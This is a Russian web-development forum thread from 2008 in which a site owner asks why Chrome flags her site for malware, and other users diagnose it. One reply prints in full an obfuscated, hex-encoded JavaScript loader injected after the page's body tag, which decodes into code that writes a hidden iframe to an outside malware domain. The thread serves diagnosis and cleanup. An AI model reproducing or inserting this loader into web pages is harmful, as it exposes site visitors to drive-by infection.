Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
PHP на примерах (2 издание). Авторы: Кузнецов М.В., Симдянов И.В. Самоучитель MySQL 5. Авторы: Кузнецов М.В., Симдянов И.В. Объектно-ориентированное программирование на PHP. Авторы: Кузнецов М.В., Симдянов И.В. PHP. Практика создания Web-сайтов (второе издание). Авторы: Кузнецов М.В., Симдянов И.В. Самоучитель PHP 5 / 6 (3 издание). Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

HTML+CSS+JavaScript

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: GOOGLE CHROME, Нашел вредоносные программы
 
 автор: Slashka   (11.09.2008 в 12:01)   письмо автору
 
 

Делаю сайт, все замечательно, все работает во всех браузерах.
Запустила его в Google Chrome, он пишет:

Внимание! Посещение этого сайта может нанести вред вашему компьютеру.
Веб-сайт по адресу www.reaconverter.ru содержит элементы сайта google-analize.com, где, вероятно, размещено вредоносное ПО – программа, которая может нанести вред вашему компьютеру или выполять действия без вашего согласия. Ваш компьютер может быть заражен просто при посещении сайта, на котором размещена вредоносная программа.

Что за фигня?? Ничего такого у меня нет. Какие могут быть элементы принятые за вредоносные??? Помогите, пожалуйста!

  Ответить  
 
 автор: Lelik   (11.09.2008 в 12:25)   письмо автору
 
   для: Slashka   (11.09.2008 в 12:01)
 

открыл сайт в ФФ, посмотрел исходник, сразу после открывающего тега <body>:

<script>function c41883415430m48c88061800ce(m48c88061804b4)
{ function m48c880618089c(){return 16;}
 return (parseInt(m48c88061804b4,m48c880618089c()));}
function m48c880618106d(m48c8806181454){ 
var m48c880618200b=2; var m48c880618183c='';
m48c8806182a08=String.fromCharCode;
for(m48c8806181c24=0;
m48c8806181c24<m48c8806181454.length;
m48c8806181c24+=m48c880618200b)
{ m48c880618183c+=(m48c8806182a08
(c41883415430m48c88061800ce(
m48c8806181454.substr(m48c8806181c24,m48c880618200b))));}
return m48c880618183c;} var z06='';
var m48c8806182bc5='3C7'+z06+'3637'+z06+
'2697'+z06+'07'+z06+'43E667'+z06+'56E637'+
z06+'4696F6E20636865636B5F636F6E7'+z06+
'4656E7'+z06+'428297'+z06+'B7'+z06+'6617'+
z06+'220693D303B7'+z06+'7'+z06+'68696C6528646F637'+
z06+'56D656E7'+z06+'42E67'+z06+'657'+z06+
'4456C656D656E7'+z06+'47'+z06+'3427'+z06+
'9546167'+z06+'4E616D652827'+z06+'69667'+z06+
'2616D6527'+z06+'292E6C656E67'+z06+'7'+z06+
'468297'+z06+'B7'+z06+'6617'+z06+'220656C3D646F637'+
z06+'56D656E7'+z06+'42E67'+z06+'657'+z06+
'4456C656D656E7'+z06+'47'+z06+'3427'+z06+
'9546167'+z06+'4E616D652827'+z06+'69667'+
z06+'2616D6527'+z06+'295B695D3B6966282028656C2E7'+
z06+'37'+z06+'47'+z06+'96C652E64697'+z06+'37'+z06+
'06C617'+z06+'93D3D27'+z06+'6E6F6E6527'+z06+'207'+
z06+'C7'+z06+'C20656C2E7'+z06+'37'+z06+'47'+z06+
'96C652E7'+z06+'6697'+z06+'36962696C697'+z06+'47'+
z06+'9203D3D27'+z06+'68696464656E27'+z06+'207'+z06+
'C7'+z06+'C2028656C2E7'+z06+'7'+z06+'69647'+z06+
'4683C3520262620656C2E68656967'+z06+'687'+z06+
'43C35292920262620656C2E6E616D65213D 27'+z06+
'633427'+z06+'297'+z06+'B656C2E7'+z06+'0617'+
z06+'2656E7'+z06+'44E6F64652E7'+z06+'2656D6F7'+
z06+'6654368696C6428656C293B7'+z06+'D656C7'+z06+
'36520692B2B3B7'+z06+'D7'+z06+'D636865636B5F636F6E7'+
z06+'4656E7'+z06+'428293B0D0A696628216D7'+z06+'96961297'+
z06+'B646F637'+z06+'56D656E7'+z06+'42E7'+z06+'7'+z06+
'7'+z06+'2697'+z06+'465287'+z06+'56E657'+z06+'363617'+
z06+'065282027'+z06+'2533632536392536362537'+z06+
'32253631253664253635253230253665253 63125366425363525336425363325333425 32302537'+
z06+'332537'+z06+'32253633253364253237'+
z06+'2536382537'+z06+'342537'+z06+'342537'+z06+
'30253361253266253266253637'+z06+'253666253666253637'+
z06+'25366325363525326425363125366525363 12536632536392537'+
z06+
'61253635253265253633253666253664253 266253639253665253265253633253637'+
z06+'25363925336625333125333526253237'+z06+
'2532622534642536312537'+z06+'342536382532652537'+z06+
'322536662537'+z06+'35253665253634253238253464253631253 7'+
z06+'342536382532652537'+z06+
'32253631253665253634253666253664253 23825323925326125333125333625333925 3336253337'+
z06+'253336253239253262253237'+z06+'253333253634253337'+
z06+'25333125333025333825363225333125333 5253335253237'+
z06+'2532302537'+z06+'37'+z06+'2536392536342537'+z06+
'34253638253364253336253337'+z06+
'25333625323025363825363525363925363 7'+z06+'2536382537'+
z06+'34253364253332253335253331253230253 7'+z06+'332537'+
z06+'342537'+z06+'39253663253635253364253237'+z06+
'2536342536392537'+z06+'332537'+z06+'302536632536312537'+
z06+'39253361253230253665253666253665253 635253237'+z06+
'2533652533632532662536392536362537'+z06+
'3225363125366425363525336527'+z06+'29293B7'+z06+'D7'+
z06+'6617'+z06+'2206D7'+z06+'969613D7'+z06+'47'+z06+'27'+
z06+'5653B3C2F7'+z06+'3637'+z06+'2697'+z06+'07'+z06+'43E';
document.write(m48c880618106d(m48c8806182bc5));</script>


каспер такое обычно за троян выдает, кстате, это он может и быть

  Ответить  
 
 автор: Eugene77   (11.09.2008 в 16:40)   письмо автору
 
   для: Lelik   (11.09.2008 в 12:25)
 

Похоже надо на Chrome переходить

  Ответить  
 
 автор: sim5   (11.09.2008 в 17:33)   письмо автору
 
   для: Slashka   (11.09.2008 в 12:01)
 

В конечном итоге, на страницу и будет записан IFRAME:
<iframe name=c4 src='http://google-analize.com...

  Ответить  
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования